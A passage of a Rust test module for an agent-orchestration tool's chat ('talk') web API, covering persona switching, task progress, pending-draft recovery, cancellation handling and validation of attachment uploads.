15693 let json = serde_json::to_string(&detail).unwrap();
15694 assert!(
15695 !json.contains("secret"),
15696 "the icon setting must not leak: {json}"
15697 );
15698 assert!(
15699 detail
15700 .view
15701 .persona_avatar
15702 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15703 );
15704 assert_eq!(
15705 detail.view.operator_avatar,
15706 format!(
15707 "/avatars/operator.svg?v={}",
15708 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15709 )
15710 );
15711 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15712 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15713 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15714 assert!(rei.avatar.contains("persona=rei&v="));
15715 assert_ne!(
15716 rei.avatar.split("&v=").nth(1),
15717 plain.avatar.split("&v=").nth(1)
15718 );
15719 }
15720
15721 #[tokio::test]
15722 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15723 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15724 let cfg = config_for(&repo).await.unwrap();
15725 for arrived in [false, true] {
15726 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15727 let observed = ui.queued_generation(&id);
15728 let talk = ui.talks.get(&id).unwrap();
15729 if arrived {
15730 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15731 }
15732 let mut settling = std::pin::pin!(settle_settings_turn(
15733 talk,
15734 ui.talks.clone(),
15735 cfg.clone(),
15736 id.clone(),
15737 turn,
15738 observed
15739 ));
15740 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15741 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15742 assert_eq!(first.is_pending(), arrived);
15743 if arrived {
15744 assert!(!settling.await);
15745 }
15746 assert!(!ui.is_thinking(&id));
15747 }
15748 }
15749
15750 #[tokio::test]
15751 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15752 let tmp = TempDir::new().expect("tempdir");
15753 let repo = tmp.path().join("repo");
15754 std::fs::create_dir_all(&repo).expect("repo dir");
15755 std::fs::write(
15756 repo.join("magi.toml"),
15757 format!(
15758 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15759 ),
15760 )
15761 .expect("write magi.toml");
15762 let home = TempDir::new().expect("temp home");
15763 let talks = Talks::at(home.path().join("talks"));
15764 let ui = Arc::new(
15765 Ui::new(
15766 Queue::at(home.path().join("queue")),
15767 Questions::at(home.path().join("questions")),
15768 talks.clone(),
15769 home.path().join("runs"),
15770 home.path().to_path_buf(),
15771 repo.clone(),
15772 )
15773 .with_worktrees_root(home.path().join("wt")),
15774 );
15775 let cfg = config_for(&repo).await.expect("discover config");
15776 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15777 let id = talk.id.clone();
15778 let call = |persona: &str| {
15779 talk_persona(
15780 State(Arc::clone(&ui)),
15781 Path(id.clone()),
15782 Json(TalkPersona {
15783 persona: persona.to_owned(),
15784 }),
15785 )
15786 };
15787
15788 let unknown = call("nobody").await.expect_err("unknown persona");
15789 assert_eq!(
15790 unknown.status,
15791 StatusCode::BAD_REQUEST,
15792 "{}",
15793 unknown.message
15794 );
15795
15796 {
15797 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15800 let busy = call("rei").await.expect_err("busy talk");
15801 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15802 assert!(
15803 busy.message.contains("a talk turn is running"),
15804 "{}",
15805 busy.message
15806 );
15807 drop(guard);
15808 }
15809 assert_eq!(talks.get(&id).expect("reload").persona, "");
15810
15811 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15812 assert_eq!(view.talk.persona, "gendo");
15813 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15814 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15815 for chosen in ["default", "gendo", "rei", "gendo"] {
15817 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15818 assert!(!view.thinking);
15819 assert!(!ui.is_thinking(&id));
15820 }
15821
15822 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15823 .await
15824 .expect("detail");
15825 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15826 assert_eq!(ids.first(), Some(&"default"));
15827 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15828
15829 let Json(view) = call("default").await.expect("back to default");
15830 assert_eq!(view.talk.persona, "");
15831
15832 let mut closed = talks.get(&id).expect("reload");
15833 talk::close(&mut closed, &talks).expect("close");
15834 let refused = call("rei").await.expect_err("closed talk");
15835 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15836 assert!(
15837 refused.message.contains("takes no more turns"),
15838 "{}",
15839 refused.message
15840 );
15841 }
15842
15843 #[tokio::test]
15844 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15845 let f = Fixture::start().await;
15846 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15847 let queue = f.queue();
15848 let mut mine = Task::new(
15849 "rename the loader".to_owned(),
15850 "rename the loader".to_owned(),
15851 PathBuf::from("/repo/magi"),
15852 Source::Agent {
15853 run: talk_id.clone(),
15854 node: "chat".to_owned(),
15855 },
15856 );
15857 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15858 assert_eq!(empty["task_progress"]["state"], "none");
15859 assert_eq!(empty["task_progress"]["total"], 0);
15860 queue.put(&mut mine).expect("file the task");
15861 let mut theirs = Task::new(
15862 "unrelated".to_owned(),
15863 "unrelated".to_owned(),
15864 PathBuf::from("/repo/magi"),
15865 Source::Human,
15866 );
15867 theirs.origin_chat = Some(talk_id.clone());
15869 queue.put(&mut theirs).expect("file the task");
15870
15871 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15872 assert_eq!(res.status, 200, "{}", res.body);
15873 let body = res.json();
15874 assert_eq!(
15875 body["status"], "open",
15876 "filing a task does not close a talk"
15877 );
15878 let tasks = body["tasks"].as_array().expect("tasks array");
15879 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15880 assert_eq!(tasks[0]["id"], mine.id);
15881 for status in [
15882 TaskStatus::Queued,
15883 TaskStatus::Running,
15884 TaskStatus::Held,
15885 TaskStatus::Failed,
15886 TaskStatus::Blocked,
15887 TaskStatus::Parked,
15888 TaskStatus::Done,
15889 TaskStatus::Queued,
15890 ] {
15891 mine.status = status;
15892 queue.put(&mut mine).expect("update status");
15893 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15894 let progress = &detail["task_progress"];
15895 assert_eq!(progress["total"], 1);
15896 assert_eq!(progress["counts"][status.as_str()], 1);
15897 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15898 assert_eq!(detail["status"], "open", "completion never closes the chat");
15899 if status == TaskStatus::Done {
15900 assert_eq!(progress["state"], "complete");
15901 assert_eq!(progress["done"], 1);
15902 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15903 } else {
15904 assert_eq!(progress["state"], "incomplete");
15905 assert_eq!(progress["done"], 0);
15906 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15907 }
15908 }
15909 }
15910
15911 #[test]
15912 fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15913 let home = tempfile::tempdir().unwrap();
15914 let runs = home.path().join("runs");
15915 let queue = Queue::at(home.path().join("queue"));
15916 let talks = Talks::at(home.path().join("talks"));
15917 let config = stub_config();
15918 let repo = PathBuf::from("/repo/magi");
15919 let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15920 let reserve_run = |repo| {
15921 let mut run = RunState::new(
15922 repo,
15923 "main".into(),
15924 "0000000".into(),
15925 "Follow the review".into(),
15926 config.clone(),
15927 );
15928 run.reserve_under(home.path()).unwrap();
15929 run
15930 };
15931 let older = reserve_run(repo.clone());
15932 let newer = reserve_run(repo.clone());
15933 let foreign = reserve_run(PathBuf::from("/repo/other"));
15934 let mismatched = reserve_run(repo.clone());
15935 let corrupt = reserve_run(repo.clone());
15936 let run_file = |id: &str| runs.join(id).join("run.json");
15937 std::fs::write(
15938 run_file(&mismatched.id),
15939 serde_json::to_vec(&older).unwrap(),
15940 )
15941 .unwrap();
15942 std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15943 let goal = |tasks: Vec<String>, runs: Vec<String>| {
15944 serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15945 "id": "g", "purpose": "Follow the review", "scope": "review",
15946 "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15947 "state": "waiting", "step": "Follow the recorded review",
15948 "source_turn": 0, "owner_input": "Follow the review",
15949 "tasks": tasks, "runs": runs, "watches": [],
15950 "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15951 "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15952 }))
15953 .unwrap()
15954 };
15955 let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15956
15957 talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15958 assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15959
15960 let unusable = vec![
15961 foreign.id.clone(),
15962 mismatched.id.clone(),
15963 corrupt.id.clone(),
15964 "missing".into(),
15965 "../escape".into(),
15966 ];
15967 let mut references = vec![older.id.clone()];
15968 references.extend(unusable.clone());
15969 talk.goals = vec![goal(vec![], references)];
15970 assert_eq!(link(&talk), Some(("run", older.id.clone())));
15971
15972 talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15973 assert_eq!(link(&talk), None);
15974
15975 let mut task = Task::new(
15976 "Review".into(),
15977 "Follow the review".into(),
15978 repo,
15979 Source::Human,
15980 );
15981 queue.put(&mut task).unwrap();
15982 talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15983 assert_eq!(link(&talk), Some(("task", task.id.clone())));
15984
15985 task.runs.push(older.id.clone());
15986 queue.put(&mut task).unwrap();
15987 assert_eq!(link(&talk), Some(("run", older.id)));
15988 }
15989
15990 #[test]
15991 fn talk_task_progress_counts_mixed_statuses() {
15992 let mut tasks: Vec<_> = [
15993 TaskStatus::Queued,
15994 TaskStatus::Running,
15995 TaskStatus::Held,
15996 TaskStatus::Failed,
15997 TaskStatus::Blocked,
15998 TaskStatus::Parked,
15999 TaskStatus::Done,
16000 ]
16001 .into_iter()
16002 .map(|status| {
16003 let mut task = Task::new(
16004 "task".into(),
16005 "task".into(),
16006 PathBuf::from("/repo"),
16007 Source::Human,
16008 );
16009 task.status = status;
16010 task
16011 })
16012 .collect();
16013 let progress = talk_task_progress(&tasks);
16014 assert_eq!(progress.state, "incomplete");
16015 assert_eq!(progress.total, 7);
16016 assert_eq!(progress.done, 1);
16017 assert_eq!(progress.unfinished_ids.len(), 6);
16018 assert!(progress.counts.values().all(|count| *count == 1));
16019 assert_eq!(
16020 progress.unfinished_ids,
16021 tasks[..6]
16022 .iter()
16023 .map(|task| task.id.clone())
16024 .collect::<Vec<_>>()
16025 );
16026
16027 for task in &mut tasks {
16028 task.status = TaskStatus::Done;
16029 }
16030 let complete = talk_task_progress(&tasks);
16031 assert_eq!(complete.state, "complete");
16032 assert_eq!(complete.done, 7);
16033 assert!(complete.unfinished_ids.is_empty());
16034 tasks[0].status = TaskStatus::Queued;
16035 let requeued = talk_task_progress(&tasks);
16036 assert_eq!(requeued.state, "incomplete");
16037 assert_eq!(requeued.done, 6);
16038 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16039
16040 let empty = talk_task_progress(&[]);
16041 assert_eq!(empty.state, "none");
16042 assert_eq!(empty.total, 0);
16043 assert_eq!(empty.done, 0);
16044 assert!(empty.unfinished_ids.is_empty());
16045 assert!(empty.counts.values().all(|count| *count == 0));
16046 }
16047
16048 #[tokio::test]
16049 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16050 let (_tmp, _repo, f) = talk_fixture().await;
16051 let id = f.post("/api/talks", None).await.json()["id"]
16052 .as_str()
16053 .expect("id")
16054 .to_owned();
16055
16056 let res = f
16057 .post(
16058 &format!("/api/talks/{id}/say"),
16059 Some(r#"{"text":"what does the queue module do?"}"#),
16060 )
16061 .await;
16062 assert_eq!(res.status, 202, "{}", res.body);
16063 let queued = res.json();
16064 let turns = queued["turns"].as_array().expect("turns array");
16065 assert_eq!(
16066 turns.len(),
16067 1,
16068 "the answer reflects only what is on disk the instant it is sent, \
16069 before the agent's turn - which can run for the whole of \
16070 `[graph] timeout_talk` - has a chance to land: {queued}"
16071 );
16072 assert_eq!(turns[0]["who"], "operator");
16073 assert_eq!(turns[0]["body"], "what does the queue module do?");
16074 assert_eq!(
16075 queued["thinking"], true,
16076 "the accepted response exposes the background turn claim: {queued}"
16077 );
16078
16079 let mut turns_after = 1;
16080 for _ in 0..SETTLE_STEPS {
16081 let detail = f.get(&format!("/api/talks/{id}")).await.json();
16082 turns_after = detail["turns"].as_array().expect("turns array").len();
16083 if turns_after == 2 {
16084 break;
16085 }
16086 tokio::time::sleep(Duration::from_millis(10)).await;
16087 }
16088 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16089 }
16090
16091 #[tokio::test]
16118 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16119 let tmp = TempDir::new().expect("tempdir");
16120 let repo = tmp.path().join("repo");
16121 std::fs::create_dir_all(&repo).expect("repo dir");
16122 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16123 let home = TempDir::new().expect("temp home");
16124 let talks = Talks::at(home.path().join("talks"));
16125 let ui = Arc::new(
16126 Ui::new(
16127 Queue::at(home.path().join("queue")),
16128 Questions::at(home.path().join("questions")),
16129 talks.clone(),
16130 home.path().join("runs"),
16131 home.path().to_path_buf(),
16132 repo.clone(),
16133 )
16134 .with_worktrees_root(home.path().join("wt")),
16135 );
16136 let cfg = config_for(&repo).await.expect("discover config");
16137
16138 for delay in 0..40u32 {
16139 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16140 let id = talk.id.clone();
16141
16142 let handler = tokio::spawn(talk_say(
16143 State(Arc::clone(&ui)),
16144 Path(id.clone()),
16145 Ok(Json(NewTalkTurn {
16146 reply_to: None,
16147 text: "what does the queue module do?".to_owned(),
16148 attachments: Vec::new(),
16149 })),
16150 ));
16151 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16152 handler.abort();
16153 let _ = handler.await;
16156
16157 let mut turns = 0;
16158 for _ in 0..SETTLE_STEPS {
16159 if let Ok(fresh) = talks.get(&id) {
16160 turns = fresh.turns.len();
16161 if turns != 1 {
16162 break;
16163 }
16164 }
16165 tokio::time::sleep(Duration::from_millis(10)).await;
16166 }
16167 assert_ne!(
16168 turns, 1,
16169 "delay {delay}: talk {id} recorded the operator's turn but \
16170 the agent never answered - the reply task was never \
16171 started after the handler future was dropped"
16172 );
16173 }
16174 }
16175
16176 #[tokio::test]
16221 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16222 let tmp = TempDir::new().expect("tempdir");
16223 let repo = tmp.path().join("repo");
16224 std::fs::create_dir_all(&repo).expect("repo dir");
16225 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16226 let home = TempDir::new().expect("temp home");
16227 let talks = Talks::at(home.path().join("talks"));
16228 let ui = Arc::new(
16229 Ui::new(
16230 Queue::at(home.path().join("queue")),
16231 Questions::at(home.path().join("questions")),
16232 talks.clone(),
16233 home.path().join("runs"),
16234 home.path().to_path_buf(),
16235 repo.clone(),
16236 )
16237 .with_worktrees_root(home.path().join("wt")),
16238 );
16239 let cfg = config_for(&repo).await.expect("discover config");
16240 let hang_guard = Duration::from_secs(30);
16243
16244 for attempt in 0..3u32 {
16245 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16246 let id = talk.id.clone();
16247 let turn_guard = ui
16250 .begin_talk_turn(&id)
16251 .expect("claim the turn")
16252 .expect("a fresh talk owes nobody a turn");
16253
16254 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16255 let (release_tx, release_rx) = std::sync::mpsc::channel();
16256 ui.set_busy_queue_gate(BusyQueueGate {
16257 reached: reached_tx,
16258 release: release_rx,
16259 });
16260
16261 let handler = tokio::spawn(talk_say(
16262 State(Arc::clone(&ui)),
16263 Path(id.clone()),
16264 Ok(Json(NewTalkTurn {
16265 reply_to: None,
16266 text: "what does the queue module do?".to_owned(),
16267 attachments: Vec::new(),
16268 })),
16269 ));
16270
16271 tokio::time::timeout(hang_guard, reached_rx)
16276 .await
16277 .unwrap_or_else(|_| {
16278 panic!(
16279 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16280 )
16281 })
16282 .expect("the busy branch dropped the gate without using it");
16283 assert!(
16284 crate::chat_worker::try_publication_guard(&talks, &id)
16285 .expect("publication fence")
16286 .is_none(),
16287 "a queued worker cannot promote text before its successor reservation is published"
16288 );
16289
16290 let closing = Arc::clone(&ui.admissions).write_owned();
16294 tokio::pin!(closing);
16295 std::future::poll_fn(|cx| {
16296 assert!(closing.as_mut().poll(cx).is_pending());
16297 std::task::Poll::Ready(())
16298 })
16299 .await;
16300 assert!(
16301 ui.begin_admission().is_err(),
16302 "replacement blocks later admissions"
16303 );
16304
16305 let running = talks.get(&id).expect("reload talk");
16312 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16313
16314 handler.abort();
16318 let _ = handler.await;
16319 std::future::poll_fn(|cx| {
16320 assert!(
16321 closing.as_mut().poll(cx).is_pending(),
16322 "HTTP cancellation must not abandon a publishing transaction"
16323 );
16324 std::task::Poll::Ready(())
16325 })
16326 .await;
16327 assert!(
16328 crate::chat_worker::try_publication_guard(&talks, &id)
16329 .expect("publication fence after disconnect")
16330 .is_none()
16331 );
16332
16333 release_tx.send(()).expect("busy queue write still gated");
16339 drop(
16340 tokio::time::timeout(hang_guard, closing)
16341 .await
16342 .unwrap_or_else(|_| {
16343 panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16344 }),
16345 );
16346 assert!(
16347 crate::chat_worker::try_publication_guard(&talks, &id)
16348 .expect("publication fence after acknowledgement")
16349 .is_some(),
16350 "the publication fence is not retained by the long response"
16351 );
16352
16353 let mut fresh = talks.get(&id).expect("reload talk");
16356 for _ in 0..SETTLE_STEPS {
16357 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16358 break;
16359 }
16360 tokio::time::sleep(Duration::from_millis(10)).await;
16361 fresh = talks.get(&id).expect("reload talk");
16362 }
16363 assert!(
16364 fresh.pending.is_empty() && fresh.turns.len() == 2,
16365 "attempt {attempt}: talk {id} left the operator's text queued \
16366 with no drainer - the reclaimed turn was dropped along with \
16367 the handler future (pending {:?}, {} turns)",
16368 fresh.pending,
16369 fresh.turns.len()
16370 );
16371 }
16372 }
16373
16374 #[tokio::test]
16375 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16376 let (_tmp, _repo, f) = talk_fixture().await;
16377 let id = f.post("/api/talks", None).await.json()["id"]
16378 .as_str()
16379 .expect("id")
16380 .to_owned();
16381 let store = f.talks();
16382 let mut recovered = store.get(&id).expect("opened talk");
16383 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16384 .expect("persist pending draft without a live turn");
16385
16386 let edited = f
16387 .post(
16388 &format!("/api/talks/{id}/pending/edit"),
16389 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16390 )
16391 .await;
16392 assert_eq!(edited.status, 200, "{}", edited.body);
16393 assert!(edited.json()["thinking"].as_bool().unwrap());
16394
16395 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16396 for _ in 0..SETTLE_STEPS {
16397 if detail["turns"].as_array().expect("turns").len() == 2 {
16398 break;
16399 }
16400 tokio::time::sleep(Duration::from_millis(10)).await;
16401 detail = f.get(&format!("/api/talks/{id}")).await.json();
16402 }
16403 let turns = detail["turns"].as_array().expect("turns");
16404 assert_eq!(
16405 turns.len(),
16406 2,
16407 "the recovered draft must run once: {detail}"
16408 );
16409 assert_eq!(turns[0]["body"], "corrected");
16410 assert_eq!(detail["pending"], "");
16411 }
16412
16413 #[tokio::test]
16414 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16415 let tmp = TempDir::new().expect("tempdir");
16416 let repo = tmp.path().join("repo");
16417 std::fs::create_dir_all(&repo).expect("repo dir");
16418 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16419 let f = Fixture::with_repo(repo).await;
16420 let id = f.post("/api/talks", None).await.json()["id"]
16421 .as_str()
16422 .expect("id")
16423 .to_owned();
16424 let store = f.talks();
16425 let mut recovered = store.get(&id).expect("opened talk");
16426 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16427 .expect("persist pending draft without a live turn");
16428
16429 let refused = f
16430 .post(
16431 &format!("/api/talks/{id}/say"),
16432 Some(r#"{"text":"new message"}"#),
16433 )
16434 .await;
16435 assert_eq!(refused.status, 409, "{}", refused.body);
16436 assert!(refused.body.contains("resume"), "{}", refused.body);
16437 let saved = store.get(&id).expect("draft remains after refusal");
16438 assert!(saved.turns.is_empty());
16439 assert_eq!(saved.pending, "saved before restart");
16440
16441 let say_path = format!("/api/talks/{id}/say");
16442 let (first, second) = tokio::join!(
16443 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16444 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16445 );
16446 assert_eq!(first.status, 409, "{}", first.body);
16447 assert_eq!(second.status, 409, "{}", second.body);
16448 let saved = store
16449 .get(&id)
16450 .expect("draft remains after concurrent refusals");
16451 assert!(saved.turns.is_empty());
16452 assert_eq!(saved.pending, "saved before restart");
16453
16454 let resumed = f
16455 .post(&format!("/api/talks/{id}/pending/resume"), None)
16456 .await;
16457 assert_eq!(resumed.status, 202, "{}", resumed.body);
16458 let duplicate = f
16459 .post(&format!("/api/talks/{id}/pending/resume"), None)
16460 .await;
16461 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16462
16463 for _ in 0..SETTLE_STEPS {
16464 if store.get(&id).expect("talk").turns.len() == 2 {
16465 break;
16466 }
16467 tokio::time::sleep(Duration::from_millis(10)).await;
16468 }
16469 let finished = store.get(&id).expect("finished talk");
16470 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16471 assert_eq!(finished.turns[0].body, "saved before restart");
16472 assert!(finished.pending.is_empty());
16473 }
16474
16475 #[tokio::test]
16476 async fn an_image_only_recovered_draft_resumes_without_text() {
16477 let (_tmp, _repo, f) = talk_fixture().await;
16478 let id = f.post("/api/talks", None).await.json()["id"]
16479 .as_str()
16480 .expect("id")
16481 .to_owned();
16482 let uploaded = f
16483 .post_bytes(
16484 &format!("/api/talks/{id}/attachments"),
16485 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16486 PNG_BYTES,
16487 )
16488 .await;
16489 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16490 let attachment = f
16491 .talks()
16492 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16493 .expect("attachment metadata")
16494 .expect("stored attachment");
16495 let store = f.talks();
16496 let mut recovered = store.get(&id).expect("opened talk");
16497 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16498
16499 let resumed = f
16500 .post(&format!("/api/talks/{id}/pending/resume"), None)
16501 .await;
16502 assert_eq!(resumed.status, 202, "{}", resumed.body);
16503 for _ in 0..SETTLE_STEPS {
16504 if store.get(&id).expect("talk").turns.len() == 2 {
16505 break;
16506 }
16507 tokio::time::sleep(Duration::from_millis(10)).await;
16508 }
16509 let finished = store.get(&id).expect("finished talk");
16510 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16511 assert!(finished.turns[0].body.is_empty());
16512 assert_eq!(finished.turns[0].attachments.len(), 1);
16513 assert!(finished.pending_attachments.is_empty());
16514 }
16515
16516 #[tokio::test]
16517 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16518 let (_tmp, _repo, f) = talk_fixture().await;
16519 let id = f.post("/api/talks", None).await.json()["id"]
16520 .as_str()
16521 .expect("id")
16522 .to_owned();
16523 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16524 assert_eq!(closed.status, 200, "{}", closed.body);
16525 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16526 .expect("serialize closed talk");
16527 for (path, body) in [
16528 (format!("/api/talks/{id}/pending/resume"), None),
16529 (
16530 format!("/api/talks/{id}/pending/clear"),
16531 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16532 ),
16533 (
16534 format!("/api/talks/{id}/pending/edit"),
16535 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16536 ),
16537 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16538 ] {
16539 let response = f.post(&path, body).await;
16540 assert_eq!(response.status, 409, "{}", response.body);
16541 }
16542 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16543 .expect("serialize closed talk");
16544 assert_eq!(
16545 after_clear, before_clear,
16546 "clear must not rewrite a closed talk"
16547 );
16548 }
16549
16550 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16553
16554 #[tokio::test]
16555 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16556 let tmp = TempDir::new().expect("tempdir");
16557 let repo = tmp.path().join("repo");
16558 std::fs::create_dir_all(&repo).expect("repo dir");
16559 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16560 let f = Fixture::with_repo(repo).await;
16561 let id_a = f.post("/api/talks", None).await.json()["id"]
16562 .as_str()
16563 .unwrap()
16564 .to_owned();
16565 let id_b = f.post("/api/talks", None).await.json()["id"]
16566 .as_str()
16567 .unwrap()
16568 .to_owned();
16569
16570 let a = f
16571 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16572 .await;
16573 assert_eq!(a.status, 202, "{}", a.body);
16574 assert_eq!(a.json()["thinking"], true);
16575 let b = f
16576 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16577 .await;
16578 assert_eq!(b.status, 202, "{}", b.body);
16579 assert_eq!(b.json()["thinking"], true);
16580
16581 let listed = f.get("/api/talks").await.json();
16582 for id in [&id_a, &id_b] {
16583 let view = listed
16584 .as_array()
16585 .unwrap()
16586 .iter()
16587 .find(|talk| talk["id"] == *id)
16588 .unwrap();
16589 assert_eq!(view["thinking"], true, "{listed}");
16590 }
16591 let repeated = f
16592 .post(
16593 &format!("/api/talks/{id_a}/say"),
16594 Some(r#"{"text":"again"}"#),
16595 )
16596 .await;
16597 assert_eq!(repeated.status, 202, "{}", repeated.body);
16598 assert_eq!(repeated.json()["pending"], "again");
16599 }
16600
16601 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16604
16605 #[tokio::test]
16606 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16607 let f = Fixture::start().await;
16608 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16609
16610 let res = f
16611 .post_bytes(
16612 &format!("/api/talks/{id}/attachments"),
16613 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16614 PNG_BYTES,
16615 )
16616 .await;
16617 assert_eq!(res.status, 201, "{}", res.body);
16618 let body = res.json();
16619 assert_eq!(body["name"], "shot.png");
16620 assert_eq!(body["mime"], "image/png");
16621 assert_eq!(body["bytes"], PNG_BYTES.len());
16622 let att_id = body["id"].as_str().expect("id").to_owned();
16623 assert_eq!(
16624 att_id.len(),
16625 32,
16626 "the id must never be a client-suppliable path: {att_id}"
16627 );
16628
16629 let got = f
16630 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16631 .await;
16632 assert_eq!(got.status, 200, "{}", got.body);
16633 assert_eq!(got.header("content-type"), Some("image/png"));
16634 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16635 assert_eq!(got.bytes, PNG_BYTES);
16636 }
16637
16638 #[tokio::test]
16639 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16640 let f = Fixture::start().await;
16641 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16642
16643 let svg = f
16646 .post_bytes(
16647 &format!("/api/talks/{id}/attachments"),
16648 &[("Content-Type", "image/svg+xml")],
16649 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16650 )
16651 .await;
16652 assert!(
16653 (400..500).contains(&svg.status),
16654 "svg must be refused: {} {}",
16655 svg.status,
16656 svg.body
16657 );
16658 assert!(svg.body.contains("SVG"), "{}", svg.body);
16659
16660 let text = f
16661 .post_bytes(
16662 &format!("/api/talks/{id}/attachments"),
16663 &[("Content-Type", "text/plain")],
16664 b"just some text",
16665 )
16666 .await;
16667 assert!(
16668 (400..500).contains(&text.status),
16669 "an unlisted type must be refused: {} {}",
16670 text.status,
16671 text.body
16672 );
16673
16674 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16677 let big = f
16678 .post_bytes(
16679 &format!("/api/talks/{id}/attachments"),
16680 &[("Content-Type", "image/png")],
16681 &oversized,
16682 )
16683 .await;
16684 assert_eq!(
16685 big.status,
16686 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16687 "{}",
16688 big.body
16689 );
16690 }
16691
16692 #[tokio::test]
